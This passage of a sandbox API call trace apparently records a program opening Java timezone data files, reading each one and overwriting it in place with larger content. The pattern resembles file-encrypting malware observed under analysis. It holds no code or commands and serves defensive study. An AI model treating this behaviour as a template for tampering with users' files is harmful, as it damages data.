lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x340f2d0*=0x661, lpOverlapped=0x0) returned 1 [0053.650] CloseHandle (hObject=0x1cc) returned 1 [0053.650] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Omsk" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\omsk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0053.651] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0053.651] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x245 [0053.652] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0053.652] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.652] ReleaseMutex (hMutex=0x128) returned 1 [0053.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Omsk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0053.652] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Omsk", cchWideChar=4, lpMultiByteStr=0x1e6a7bc, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Omsk", lpUsedDefaultChar=0x0) returned 4 [0053.652] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e54ee8, nNumberOfBytesToRead=0x245, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesRead=0x340f2bc*=0x245, lpOverlapped=0x0) returned 1 [0053.652] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0053.653] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7cd, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x340f2d0*=0x7cd, lpOverlapped=0x0) returned 1 [0053.653] CloseHandle (hObject=0x1cc) returned 1 [0053.653] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Riyadh88" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\riyadh88"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0053.653] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0053.653] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x127d [0053.653] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0053.653] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.653] ReleaseMutex (hMutex=0x128) returned 1 [0053.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Riyadh88", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0053.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Riyadh88", cchWideChar=8, lpMultiByteStr=0x1e6334c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Riyadh88", lpUsedDefaultChar=0x0) returned 8 [0053.654] ReadFile (in: hFile=0x1cc, lpBuffer=0x1dabed8, nNumberOfBytesToRead=0x127d, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesRead=0x340f2bc*=0x127d, lpOverlapped=0x0) returned 1 [0053.655] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0053.655] WriteFile (in: hFile=0x1cc, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1805, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x340f2d0*=0x1805, lpOverlapped=0x0) returned 1 [0053.655] CloseHandle (hObject=0x1cc) returned 1 [0053.655] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Tehran" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\tehran"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0053.656] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0053.656] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x37c [0053.656] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0053.656] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.656] ReleaseMutex (hMutex=0x128) returned 1 [0053.656] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tehran", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0053.656] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tehran", cchWideChar=6, lpMultiByteStr=0x1e6a7bc, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tehran", lpUsedDefaultChar=0x0) returned 6 [0053.656] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e3ad38, nNumberOfBytesToRead=0x37c, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e3ad38*, lpNumberOfBytesRead=0x340f2bc*=0x37c, lpOverlapped=0x0) returned 1 [0053.657] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0053.658] WriteFile (in: hFile=0x1cc, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x904, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x340f2d0*=0x904, lpOverlapped=0x0) returned 1 [0053.658] CloseHandle (hObject=0x1cc) returned 1 [0053.658] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Yerevan" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\yerevan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0053.658] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0053.658] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x235 [0053.658] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0053.658] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.658] ReleaseMutex (hMutex=0x128) returned 1 [0053.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Yerevan", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0053.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Yerevan", cchWideChar=7, lpMultiByteStr=0x1e6a7bc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Yerevan", lpUsedDefaultChar=0x0) returned 7 [0053.659] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e54ee8, nNumberOfBytesToRead=0x235, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54ee8*, lpNumberOfBytesRead=0x340f2bc*=0x235, lpOverlapped=0x0) returned 1 [0053.659] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0053.659] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7bd, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x340f2d0*=0x7bd, lpOverlapped=0x0) returned 1 [0053.662] CloseHandle (hObject=0x1cc) returned 1 [0053.662] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Atlantic\\St_Helena" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\atlantic\\st_helena"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0053.662] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0053.662] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x41 [0053.662] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0053.662] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.662] ReleaseMutex (hMutex=0x128) returned 1 [0053.663] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="St_Helena", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0053.663] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="St_Helena", cchWideChar=9, lpMultiByteStr=0x1e6324c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="St_Helena", lpUsedDefaultChar=0x0) returned 9 [0053.663] ReadFile (in: hFile=0x1cc, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x340f2bc*=0x41, lpOverlapped=0x0) returned 1 [0053.663] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0053.663] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x340f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0053.664] CloseHandle (hObject=0x1cc) returned 1 [0053.664] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Melbourne" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\melbourne"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0053.665] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0053.665] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x4c8 [0053.665] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0053.665] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.665] ReleaseMutex (hMutex=0x128) returned 1 [0053.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Melbourne", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0053.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Melbourne", cchWideChar=9, lpMultiByteStr=0x1e6334c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Melbourne", lpUsedDefaultChar=0x0) returned 9 [0053.665] ReadFile (in: hFile=0x1cc, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4c8, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x340f2bc*=0x4c8, lpOverlapped=0x0) returned 1 [0053.666] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0053.666] WriteFile (in: hFile=0x1cc, lpBuffer=0x26156a8*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26156a8*, lpNumberOfBytesWritten=0x340f2d0*=0xa50, lpOverlapped=0x0) returned 1 [0053.667] CloseHandle (hObject=0x1cc) returned 1 [0053.667] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+10" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+10"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.060] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.060] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1b [0055.060] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.060] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.060] ReleaseMutex (hMutex=0x128) returned 1 [0055.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT+10", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0055.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT+10", cchWideChar=6, lpMultiByteStr=0x1e6a78c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GMT+10", lpUsedDefaultChar=0x0) returned 6 [0055.060] ReadFile (in: hFile=0x12c, lpBuffer=0x1e78c40, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78c40*, lpNumberOfBytesRead=0x340f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0055.061] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0055.061] WriteFile (in: hFile=0x12c, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x340f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0055.062] CloseHandle (hObject=0x12c) returned 1 [0055.062] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+9" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+9"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.062] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.062] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1b [0055.062] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.062] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.063] ReleaseMutex (hMutex=0x128) returned 1 [0055.063] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT+9", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0055.063] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT+9", cchWideChar=5, lpMultiByteStr=0x1e6a78c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GMT+9", lpUsedDefaultChar=0x0) returned 5 [0055.063] ReadFile (in: hFile=0x12c, lpBuffer=0x1e78c40, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78c40*, lpNumberOfBytesRead=0x340f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0055.063] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0055.064] WriteFile (in: hFile=0x12c, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x340f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0055.064] CloseHandle (hObject=0x12c) returned 1 [0055.064] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-5" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-5"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.064] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.064] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1b [0055.064] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.064] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.065] ReleaseMutex (hMutex=0x128) returned 1 [0055.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT-5", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0055.065] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT-5", cchWideChar=5, lpMultiByteStr=0x1e6a78c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GMT-5", lpUsedDefaultChar=0x0) returned 5 [0055.065] ReadFile (in: hFile=0x12c, lpBuffer=0x1e78c40, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78c40*, lpNumberOfBytesRead=0x340f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0055.065] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0055.066] WriteFile (in: hFile=0x12c, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x340f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0055.066] CloseHandle (hObject=0x12c) returned 1 [0055.066] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Belgrade" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\belgrade"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0055.070] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.070] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x410 [0055.070] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.070] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.070] ReleaseMutex (hMutex=0x128) returned 1 [0055.070] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Belgrade", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0055.070] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Belgrade", cchWideChar=8, lpMultiByteStr=0x1e6306c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Belgrade", lpUsedDefaultChar=0x0) returned 8 [0055.070] ReadFile (in: hFile=0x12c, lpBuffer=0x280cd48, nNumberOfBytesToRead=0x410, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x280cd48*, lpNumberOfBytesRead=0x340f2bc*=0x410, lpOverlapped=0x0) returned 1 [0055.073] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0055.073] WriteFile (in: hFile=0x12c, lpBuffer=0x1da3ec8*, nNumberOfBytesToWrite=0x998, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesWritten=0x340f2d0*=0x998, lpOverlapped=0x0) returned 1 [0055.073] CloseHandle (hObject=0x12c) returned 1 [0055.073] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Istanbul" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\istanbul"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0055.083] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.083] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x5b8 [0055.083] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0055.083] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0055.083] ReleaseMutex (hMutex=0x128) returned 1 [0055.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Istanbul", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0055.084] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Istanbul", cchWideChar=8, lpMultiByteStr=0x1e6306c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Istanbul", lpUsedDefaultChar=0x0) returned 8 [0055.084] ReadFile (in: hFile=0x1b0, lpBuffer=0x1dfcd08, nNumberOfBytesToRead=0x5b8, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesRead=0x340f2bc*=0x5b8, lpOverlapped=0x0) returned 1 [0055.088] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0055.088] WriteFile (in: hFile=0x1b0, lpBuffer=0x3a4ee28*, nNumberOfBytesToWrite=0xb40, 